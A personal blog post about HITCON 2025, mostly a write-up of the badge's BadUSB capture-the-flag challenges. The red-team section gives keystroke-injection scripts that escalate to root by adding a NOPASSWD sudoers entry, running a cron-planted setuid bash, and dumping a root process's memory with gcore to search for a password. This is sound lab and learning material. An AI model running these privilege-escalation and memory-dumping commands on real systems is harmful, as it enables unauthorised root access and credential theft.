前言 #
本次參展也是透過 HITCON 學生免費方案獲票的,
也再此感謝 HITCON 願意提供這樣的機會給各位窮學生(只有我),
讓我們能夠免費參與這種活動與各位互動,並且也有 Badge 之類的東西可以玩。
這次相較於議程,比較多是在玩這次的 Badge 功能,
所以第一天下午跟第二天早上基本上都是泡在樓下活動組那邊,
也因為是第一次接觸這種類型的玩具,
覺得滿有趣的就栽進去很多時間了。
最後因為這次參展有一些 特 殊 經 驗 ,
再加上想回饋於 HITCON (?),
明年或許可能會一下投看看工人…?
BadUSB #
這邊先簡單介紹一下 BadUSB 的功能以及其挑戰環境,
我當初也是想很久才理解這次的挑戰目的。
Badge 介紹 #
首先是先介紹 BadUSB 的功能,
在連接電腦後,可以有兩種功能,
一是輸出 Badge 的裝置 ID,
另一個就是本次的重點 Bad USB
了。
基本上就是能夠透過植入 script,來讓他執行模擬鍵盤輸入的效果,
例如輸入文字內容、模擬鍵盤操作等。
就比如說下方的一個簡單的 script.txt,
在燒入進 Badge 後,即可簡單的輸出一段字串。
STRING HELLO WORLD
ENTER
其他更多詳細的語法介紹歡迎去查看 官方doc。
如果你對 BadUSB 還是沒有概念,
這邊放個 Flipper Zero 的示範影片,
基本上 Badge 就和這個差不多了 畢竟是參考它寫出來的。
Badge 燒入腳本 #
需要透過直接 git clone 整個 repo 才能順利設定介面
官方的 github repo:
基本上就按照 requirements.txt
安裝後就能順利執行了,
運行後好像可以再輸入 1~2 調介面大小,
但我的 kali 不知道為啥都調不了 所以就不管了
git clone https://github.com/john0312/hitcon-pcb-badge
cd hitcon-pcb-badge/sw/BadgeCommander
pip install -r requirements.txt
# 再來要透過 sudo 來讓程式能夠讀取到你的 Badge
# 其他方法也可以 見仁見智
sudo python BadgeCommander.py
順利運行後介面大概就長這樣,
第一部分能夠快速調整名稱,
因為我沒調介面大小所以確認的按鈕有點小
第二部分 BADUSB
就可以去燒入腳本了。
挑戰說明 #
本次挑戰主要根據 Badge 顏色來分成紅藍隊,
而兩個隊伍要挑戰的題目是不一樣的,
紅隊主要目的為提權;藍隊主要目的在偵查。
而挑戰的環境則是在樓下的活動組的機器上,
後續執行腳本也是在他們的電腦上執行,
本來還以為是 Badge 插進電腦後就會有挑戰出現之類的
總之就是根據題目,透過寫好在 bash 中運行的腳本,
最後在目標機器上執行該腳本,順利達成目標。
再廢話一句,其實理論上應該是先在 badge 上寫好腳本再去偵查啦,
但我都直接用活動組的電腦直接查漏洞了
所以我的腳本才會都只有關鍵段落 嘿嘿
紅隊題目 #

題外話:
或許大家可能會想說直接開一個 reverse shell、
或是透過 Ctrl Shift + t 直接在開一個分頁來提權,
其實不是不行 只是工作人員會過來切你網路而已
Easy #
這題問題出在 /etc/sudoers.d 的權限設定錯誤,
設定成了 777
也就是所有人都可以進行讀寫。
但這邊題目有點小問題,因為如果 sudoers.d
設定成這樣的話,
系統就會因為安全性問題,而不讓你後續寫入的用戶順利提權(應該是這樣 我也不太確定),
總之在第一天末尾跟 STAFF 說明後,在第二天就有變更為是 sudoers.d/vuln
的權限設定錯誤,
因此變成是直接修改該檔案內容以提權。
腳本如下:
STRING echo "hitcon ALL=(ALL) NOPASSWD:ALL" > /etc/sudoers.d/vuln
ENTER
STRING sudo cat /root/flag.txt
ENTER
Medium #
這題則是因為在 crontab 中存在一個會提供 root 權限的腳本,
並將其存放於 /tmp/bash_root
,
因此我們這題只需要去存取該檔案便能夠獲得root權限。
腳本如下:
STRING /tmp/bash_root -p
ENTER
STRING sudo cat /root/flag.txt
ENTER
crontab 指令(這是後續跟 STAFF 拿的,挑戰當下沒有):
echo "* * * * * root /tmp/cron_pwn.sh" > /etc/cron.d/root_job
echo -e '#!/bin/bash\ncp /bin/bash /tmp/bash_root && chmod +s /tmp/bash_root' > /tmp/cron_pwn.sh
chmod +x /tmp/cron_pwn.sh
Hard #
這題活動中沒有解出來qq
題目有特別開 gcore
的權限給我們使用,
而其中系統中有一個名為 password-store 的 root 程序,
我們需要透過 gcore 來去 dump 該記憶體來查找 strings的內容。
解題思路流程:
先透過找出 password-store
的 PID ⮕ 透過 gcore dump 出他的記憶體內容⮕
最後透過 strings 搜尋特定關鍵字來找出 root 的密碼為何。
# 取得 pid
pgrep -u root -f 'password-store'
# dump password-store 的記憶體
gcore -o gcore_dump $PID
# 最後透過 grep 來抓出 root 密碼
string gcore_dump.$PID | grep ""
但這邊最後我自己在我本機模擬的時候,
gcore_dump 中都沒有 root 的密碼,
可能是我建置環境有錯誤吧qq 但邏輯大概就是這樣。
破爛腳本:
STRING pid=$(pgrep -u root -f 'password-store')
ENTER
STRING gcore -o gcore_dump "$pid"
ENTER
STRING strings gcore_dump.$pid |grep "給我密碼啦拜託qq"
ENTER
藍隊題目 #
由於當初忘記拍藍隊的題目了qq
因此這邊只能用文字描述。
一樣分成 Easy, Medium, Hard
題目描述如下:
這是一個針對 藍隊玩家 的「可疑進程分析」挑戰,參賽者需透過系統命令與觀察技巧,從各種異常進程中找出正確的 PID。
本題共三關,難度由高到低排列:
- Easy: 資源異常佔用(CPU 爆高)
- Medium: 礦工進程偽裝(exec -a 偽名稱)
- Hard: 可疑命名進程(被偽裝的可執行檔)
由於這次是被分配到紅隊,
因此沒有特別去解藍隊的題目QQ
但這邊推薦可以去參考
這篇文章
我覺得寫得都很詳細,也都有詳細說明!
推推
HITCON 2025 BadUSB Easy+Medium WriteUp
心得 #
本次參展相較於去年,
由於在這一年中認識到了很多資安的朋朋,
因此今年比較像是來…社交的(?)
還有後面也都在玩 Badge ,這次就比較少去聽議程ㄌ,
Badge也是很酷很好玩,第一次接觸這種類型的工具,
後續還直接跟工作人員要了環境回家玩 嘿嘿
不過在玩 Badge 的過程中,剛好又一個外國人來參加,
由於工作人員都在忙,可能是因為看我剛解出第一題,
因此就跑來問我 Badge 的 BadUSB 是要怎麼玩,
像是問環境、題目、怎麼燒之類的
最後我就用我的超級宇宙無敵破爛英文跟他溝通了
用的單字完全是國小那種 然後文法沒有一句是對的
但總之是個很酷的經驗!也讓我正視到我的英文到底有多爛!
明年應該也還會繼續參與,
說不定可能會投工人?
總之希望未來能爭取投稿上 HITCON 的議程
我也會繼續努力研究ㄉ
這邊套用烈海王的一句話:
我一向是無所謂的